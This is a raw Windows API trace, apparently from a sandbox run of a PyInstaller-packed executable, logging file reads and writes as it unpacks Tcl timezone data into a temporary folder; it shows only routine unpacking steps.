(dwErrCode=0x0) [0039.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.634] GetFileType (hFile=0x10c) returned 0x1 [0039.634] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.635] CloseHandle (hObject=0x10c) returned 1 [0039.635] GetLastError () returned 0x0 [0039.635] SetLastError (dwErrCode=0x0) [0039.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.635] GetFileType (hFile=0x10c) returned 0x1 [0039.635] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.635] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.635] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.635] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.635] CloseHandle (hObject=0x10c) returned 1 [0039.635] GetLastError () returned 0x0 [0039.635] SetLastError (dwErrCode=0x0) [0039.635] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent") returned 75 [0039.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_vincent"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.635] GetLastError () returned 0x2 [0039.635] SetLastError (dwErrCode=0x2) [0039.636] GetLastError () returned 0x2 [0039.636] SetLastError (dwErrCode=0x2) [0039.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent", lpFilePart=0x0) returned 0x4a [0039.636] GetLastError () returned 0x2 [0039.636] SetLastError (dwErrCode=0x2) [0039.636] GetLastError () returned 0x2 [0039.636] SetLastError (dwErrCode=0x2) [0039.636] GetLastError () returned 0x2 [0039.636] SetLastError (dwErrCode=0x2) [0039.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent") returned 75 [0039.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Vincent" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_vincent"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.636] GetFileType (hFile=0x10c) returned 0x1 [0039.636] htonl (hostlong=0xb7000000) returned 0xb7 [0039.636] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.636] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0039.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.637] CloseHandle (hObject=0x10c) returned 1 [0039.638] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.638] htonl (hostlong=0x30000000) returned 0x30 [0039.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.638] GetFileType (hFile=0x10c) returned 0x1 [0039.638] htonl (hostlong=0xf3525a00) returned 0x5a52f3 [0039.638] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f02f3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.638] htonl (hostlong=0x2d010000) returned 0x12d [0039.638] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12d) returned 0x550600 [0039.639] htonl (hostlong=0x2d010000) returned 0x12d [0039.639] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.639] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.639] htonl (hostlong=0x4d030000) returned 0x34d [0039.639] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x34d) returned 0x550738 [0039.639] htonl (hostlong=0x2d010000) returned 0x12d [0039.639] htonl (hostlong=0x4d030000) returned 0x34d [0039.639] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.639] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.639] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.639] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.639] CloseHandle (hObject=0x10c) returned 1 [0039.639] GetLastError () returned 0x0 [0039.639] SetLastError (dwErrCode=0x0) [0039.639] GetLastError () returned 0x0 [0039.639] SetLastError (dwErrCode=0x0) [0039.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.639] GetFileType (hFile=0x10c) returned 0x1 [0039.639] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.639] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.639] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.639] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.640] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.640] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.640] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.640] CloseHandle (hObject=0x10c) returned 1 [0039.640] GetLastError () returned 0x0 [0039.640] SetLastError (dwErrCode=0x0) [0039.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.640] GetFileType (hFile=0x10c) returned 0x1 [0039.640] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.640] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.640] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.640] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.640] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.640] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.640] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.640] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.640] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.640] CloseHandle (hObject=0x10c) returned 1 [0039.640] GetLastError () returned 0x0 [0039.640] SetLastError (dwErrCode=0x0) [0039.640] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.641] GetFileType (hFile=0x10c) returned 0x1 [0039.641] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.641] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.641] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.641] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.641] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.641] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.641] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.641] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.641] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.641] CloseHandle (hObject=0x10c) returned 1 [0039.641] GetLastError () returned 0x0 [0039.641] SetLastError (dwErrCode=0x0) [0039.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current") returned 78 [0039.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\swift_current"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.641] GetLastError () returned 0x2 [0039.641] SetLastError (dwErrCode=0x2) [0039.641] GetLastError () returned 0x2 [0039.641] SetLastError (dwErrCode=0x2) [0039.641] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current", lpFilePart=0x0) returned 0x4d [0039.641] GetLastError () returned 0x2 [0039.641] SetLastError (dwErrCode=0x2) [0039.641] GetLastError () returned 0x2 [0039.642] SetLastError (dwErrCode=0x2) [0039.642] GetLastError () returned 0x2 [0039.642] SetLastError (dwErrCode=0x2) [0039.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current") returned 78 [0039.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Swift_Current" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\swift_current"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.642] GetFileType (hFile=0x10c) returned 0x1 [0039.642] htonl (hostlong=0x4d030000) returned 0x34d [0039.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.643] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x34d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x34d, lpOverlapped=0x0) returned 1 [0039.644] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.644] CloseHandle (hObject=0x10c) returned 1 [0039.644] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550738 | out: hHeap=0x530000) returned 1 [0039.645] htonl (hostlong=0x40000000) returned 0x40 [0039.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.645] GetFileType (hFile=0x10c) returned 0x1 [0039.645] htonl (hostlong=0x20545a00) returned 0x5a5420 [0039.645] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f0420, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.645] htonl (hostlong=0xbd000000) returned 0xbd [0039.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbd) returned 0x55de50 [0039.645] htonl (hostlong=0xbd000000) returned 0xbd [0039.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.645] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.645] htonl (hostlong=0x49010000) returned 0x149 [0039.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x149) returned 0x550600 [0039.645] htonl (hostlong=0xbd000000) returned 0xbd [0039.645] htonl (hostlong=0x49010000) returned 0x149 [0039.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55de50 | out: hHeap=0x530000) returned 1 [0039.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.645] CloseHandle (hObject=0x10c) returned 1 [0039.645] GetLastError () returned 0x0 [0039.645] SetLastError (dwErrCode=0x0) [0039.645] GetLastError () returned 0x0 [0039.645] SetLastError (dwErrCode=0x0) [0039.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.646] GetFileType (hFile=0x10c) returned 0x1 [0039.646] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.646] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.646] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.646] CloseHandle (hObject=0x10c) returned 1 [0039.646] GetLastError () returned 0x0 [0039.646] SetLastError (dwErrCode=0x0) [0039.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.646] GetFileType (hFile=0x10c) returned 0x1 [0039.646] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.646] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 